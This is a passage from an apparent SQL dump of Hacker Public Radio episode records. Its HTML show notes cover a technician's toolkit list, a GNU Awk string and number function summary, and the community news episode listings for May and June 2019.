wipes</li>\r\n<li>latex gloves</li>\r\n<li>Band aids</li>\r\n<li><p>Excedrin bottle and migraine meds 1/2 dose for emergencies</p></li>\r\n</ul>\r\n<p>If I expand the definition of tool kit to include the tool box on my pickup truck, I also have...</p>\r\n<ul>\r\n<li>10\' telephone cord</li>\r\n<li>analogue telephone (princes style) for testing</li>\r\n<li>3 spare usb keyboards 1 spare ps/2 keyboards</li>\r\n<li>2 usb mice</li>\r\n<li>2x 6\' dvi-d cables</li>\r\n<li>adjustable wrench</li>\r\n<li>pliers</li>\r\n<li>needle nose pliers</li>\r\n<li>craftsman precision screwdriver set</li>\r\n<li><p>X-acto knife set</p></li>\r\n<li>socket set</li>\r\n<li>Ratchet straps</li>\r\n<li>50\' cotton bond rope 1/2&quot; diameter</li>\r\n<li>50\' nylon 1/2&quot; rope</li>\r\n<li>7\'x 8\' medium weight tarp</li>\r\n<li>Fluke #117 multimeter</li>\r\n<li>Fluke Link runner AT 1000</li>\r\n<li>and toner probe</li>\r\n<li>machete</li>\r\n<li>jumper cables</li>\r\n<li><p>analog linemans handset/ butt set (harris TS30)</p></li>\r\n</ul>\r\n',365,23,1,'CC-BY-SA','daily carry, toolkit',0,0,1),
(2554,'2018-05-17','Gnu Awk - Part 11',1686,'In part 11 of the series, we string and number built-in functions','<h1>Awk Part 11</h1>\r\n\r\n<p>Gnu Awk Documentation: <a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#String-Functions\">https://www.gnu.org/software/gawk/manual/gawk.html#String-Functions</a></p>\r\n\r\n<h2>Numerical functions</h2>\r\n\r\n<ul>\r\n<li>atan2: arctangent of y / x in randians</li>\r\n<li>cos: cosine of x in radians</li>\r\n<li>exp: e<sup>x</sup></li>\r\n<li>int: floor float to int</li>\r\n<li>log: natrual log</li>\r\n<li>randn: (pseudo) random number between 0 and 1</li>\r\n<li>sin: sine of x in radians</li>\r\n<li>sqrt: square root</li>\r\n<li>srand: (pseudo) random between 0 and 1, manually setting the seed</li>\r\n</ul>\r\n\r\n\r\n<h2>String functions</h2>\r\n\r\n<ul>\r\n<li>asort: array sort. Returns array with the values sorted</li>\r\n<li>asori: array sort. Returns array with the keys (index) sorted</li>\r\n<li>gensub: Search the target string target for matches of the regular expression regexp. Returns string with substituted text.</li>\r\n<li>gsub: Search target for all of the longest, leftmost, nonoverlapping matching substrings it can find and replace them with replacement.   Returns string with substituted text.</li>\r\n<li>sub: Search target, which is treated as a string, for the leftmost, longest substring matched by the regular expression regexp. Returns string with substituted text.</li>\r\n<li>index: Search the string in for the first occurrence of the string find. Returns the position where that occurence begins</li>\r\n<li>length: returns length of string</li>\r\n<li>match: Search string for the longest, leftmost substring matched by the regular expression regexp and return the character position (index) at which that substring begins.</li>\r\n<li>split: Divide string into pieces delimted by field separator. Returns an array of strings</li>\r\n<li>sprintf: Allows you to store the a string in the that would have been the output of printf into a variable</li>\r\n<li>strtonum: Turn octal representation to number</li>\r\n<li>substr: Substring starting at position x for length of y. Returns string</li>\r\n<li>tolower: Lower-case the string</li>\r\n<li>toupper: Upper-case the string</li>\r\n</ul>\r\n\r\n\r\n<h2>References</h2>\r\n\r\n<ul>\r\n<li>Trigonometric functions: <a href=\"https://en.wikipedia.org/wiki/Trigonometric_functions\">https://en.wikipedia.org/wiki/Trigonometric_functions</a></li>\r\n<li>Psuedo random number seed: <a href=\"https://en.wikipedia.org/wiki/Random_seed\">https://en.wikipedia.org/wiki/Random_seed</a></li>\r\n<li>Natural log to log 10: <a href=\"https://math.stackexchange.com/questions/107574/from-natural-log-to-log-base-10#107576\">https://math.stackexchange.com/questions/107574/from-natural-log-to-log-base-10#107576</a></li>\r\n</ul>',300,94,0,'CC-BY-SA','bash, linux, awk',0,0,1),
(2826,'2019-06-03','HPR Community News for May 2019',3497,'HPR Volunteers talk about shows released and comments posted in May 2019','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=376\" target=\"_blank\">Joel D</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2803\" target=\"_blank\">2803</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-05-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2803\" target=\"_blank\">Update on my Raspi 3 B OpenMedia Vault and Next Cloud instances</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2804\" target=\"_blank\">2804</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-05-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2804\" target=\"_blank\">Awk Part 13: Fix-Width Field Processing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2805\" target=\"_blank\">2805</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-05-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2805\" target=\"_blank\">My 50th Show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2806\" target=\"_blank\">2806</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-05-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2806\" target=\"_blank\">HPR Community News for April 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2807\" target=\"_blank\">2807</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-05-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2807\" target=\"_blank\">Are bash local variables local?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2808\" target=\"_blank\">2808</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-05-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2808\" target=\"_blank\">Haskell function types</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2809\" target=\"_blank\">2809</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-05-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2809\" target=\"_blank\">The Blue Oak Model License and Its One Big Gotcha</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=376\" target=\"_blank\">Joel D</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2810\" target=\"_blank\">2810</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-05-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2810\" target=\"_blank\">Wi-Fi on Android</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2811\" target=\"_blank\">2811</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-05-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2811\" target=\"_blank\">Interview with Alan Pope</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2812\" target=\"_blank\">2812</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-05-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2812\" target=\"_blank\">Is 5G mobile data a danger to your health?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2813\" target=\"_blank\">2813</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-05-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2813\" target=\"_blank\">Should we dump the linux Desktop.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2814\" target=\"_blank\">2814</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-05-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2814\" target=\"_blank\">Spectre and Meltdown and OpenBSD and our future</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2815\" target=\"_blank\">2815</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-05-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2815\" target=\"_blank\">Copy pasta</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2816\" target=\"_blank\">2816</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-05-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2816\" target=\"_blank\">Gnu Awk - Part 14</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2817\" target=\"_blank\">2817</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-05-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2817\" target=\"_blank\">Are you successful? Click to find out more!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2818\" target=\"_blank\">2818</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-05-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2818\" target=\"_blank\">Writing Web Game in Haskell - Science, part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2819\" target=\"_blank\">2819</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-05-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2819\" target=\"_blank\">Reply to Knightwise - podcasts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2820\" target=\"_blank\">2820</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-05-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2820\" target=\"_blank\">29 - CERT Home Security Tips</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2821\" target=\"_blank\">2821</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-05-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2821\" target=\"_blank\">Interviewing some exhibitors at the 2019 vcfe.org event</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2822\" target=\"_blank\">2822</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-05-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2822\" target=\"_blank\">What\'s in the Box! Part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2823\" target=\"_blank\">2823</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-05-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2823\" target=\"_blank\">Gentoo and why I use it</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=374\" target=\"_blank\">aldenp</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2824\" target=\"_blank\">2824</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-05-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2824\" target=\"_blank\">Gnu Awk - Part 15</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2825\" target=\"_blank\">2825</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-05-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2825\" target=\"_blank\">More text to speech trials</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 6 comments on\n4 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2504#comments\" target=\"_blank\">hpr2504</a></strong>\n(2018-03-08) \"<em>Intro to Git with pen and paper</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2504#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-05-23:\n\"This needs to be a video\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2793#comments\" target=\"_blank\">hpr2793</a></strong>\n(2019-04-17) \"<em>bash coproc: the future (2009) is here</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2793#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2019-05-04:\n\"Re: backquotes vs dollar-paren\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2793#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2019-05-09:\n\"Re: awk coprocesses\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2793#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2019-05-09:\n\"Regarding awk coprocesses\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2794#comments\" target=\"_blank\">hpr2794</a></strong>\n(2019-04-18) \"<em>Interview with Martin Wimpress</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2794#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2019-05-26:\n\"Great interview\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2798#comments\" target=\"_blank\">hpr2798</a></strong>\n(2019-04-24) \"<em>Should Podcasters be Pirates ?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2798#4\" target=\"_blank\">Comment 4</a>:\nKlaatu on 2019-05-07:\n\"This is one of those episodes...\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 10 comments on 4 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2806#comments\" target=\"_blank\">hpr2806</a></strong>\n(2019-05-06) \"<em>HPR Community News for April 2019</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2806#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2019-05-09:\n\"Yggdrasil and Hollywood\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2806#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2019-05-09:\n\"HKOSCON2019\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2809#comments\" target=\"_blank\">hpr2809</a></strong>\n(2019-05-09) \"<em>The Blue Oak Model License and Its One Big Gotcha</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=376\" target=\"_blank\">Joel D</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2809#1\" target=\"_blank\">Comment 1</a>:\nnorrist on 2019-05-09:\n\"The show _was_ fun\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2809#2\" target=\"_blank\">Comment 2</a>:\nJoel D on 2019-05-16:\n\"re: norrist\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2813#comments\" target=\"_blank\">hpr2813</a></strong>\n(2019-05-15) \"<em>Should we dump the linux Desktop.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2813#1\" target=\"_blank\">Comment 1</a>:\nYannick on 2019-05-15:\n\"Should we dump Windows?\n\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2813#2\" target=\"_blank\">Comment 2</a>:\nHipstre on 2019-05-15:\n\"Do We Need Linux?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2813#3\" target=\"_blank\">Comment 3</a>:\nDV on 2019-05-16:\n\"Response to knightwise\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2813#4\" target=\"_blank\">Comment 4</a>:\nDeepGeek on 2019-05-17:\n\"Desktop is Dead\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2813#5\" target=\"_blank\">Comment 5</a>:\nSnapdeus on 2019-05-17:\n\"Linux desktop\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2814#comments\" target=\"_blank\">hpr2814</a></strong>\n(2019-05-16) \"<em>Spectre and Meltdown and OpenBSD and our future</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2814#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2019-05-17:\n\"Hello, Fellow Puffy Disciple!\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-May/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-May/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"links\">Links</h3>\n<ul>\n<li><a href=\"https://ohshitgit.com/\" class=\"uri\">https://ohshitgit.com/</a></li>\n<li><a href=\"https://www.nporadio1.nl/podcasts/hallo-hier-hilversum\" class=\"uri\">https://www.nporadio1.nl/podcasts/hallo-hier-hilversum</a></li>\n</ul>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Over the period tags and/or summaries have been added to 10 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2846,'2019-07-01','HPR Community News for June 2019',3364,'HPR Volunteers talk about shows released and comments posted in June 2019','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=378\" target=\"_blank\">Shannon Wright</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2826\" target=\"_blank\">2826</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-06-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2826\" target=\"_blank\">HPR Community News for May 2019</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2827\" target=\"_blank\">2827</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-06-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2827\" target=\"_blank\">Unscripted ramblings from my garage about my first CTF event</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2828\" target=\"_blank\">2828</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-06-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2828\" target=\"_blank\">Writing Web Game in Haskell - Science, part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2829\" target=\"_blank\">2829</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-06-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2829\" target=\"_blank\">Discussion around fair use clips on HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2830\" target=\"_blank\">2830</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-06-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2830\" target=\"_blank\">HPR NYE Show 2018-2019 part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2831\" target=\"_blank\">2831</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-06-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2831\" target=\"_blank\">Interview with Robbie Ferguson</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2832\" target=\"_blank\">2832</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-06-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2832\" target=\"_blank\">How I got started in Linux</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=378\" target=\"_blank\">Shannon Wright</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2833\" target=\"_blank\">2833</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-06-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2833\" target=\"_blank\">Jeroen chats with Joep Piscaer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2834\" target=\"_blank\">2834</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-06-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2834\" target=\"_blank\">My favorite desktop and android applications</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2835\" target=\"_blank\">2835</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-06-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2835\" target=\"_blank\">HPR NYE Show 2018-2019 part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2836\" target=\"_blank\">2836</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-06-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2836\" target=\"_blank\">Interview with Wendy Hill</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2837\" target=\"_blank\">2837</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2019-06-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2837\" target=\"_blank\">parallax live desktops in android</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2838\" target=\"_blank\">2838</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2019-06-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2838\" target=\"_blank\">Why Haskell?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2839\" target=\"_blank\">2839</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2019-06-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2839\" target=\"_blank\">Sample episode of the Distrohoppers Digest podcast</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2840\" target=\"_blank\">2840</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2019-06-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2840\" target=\"_blank\">HPR NYE Show 2018-2019 part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2841\" target=\"_blank\">2841</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2019-06-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=2841\" target=\"_blank\">How I got into Linux (and then some...)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" 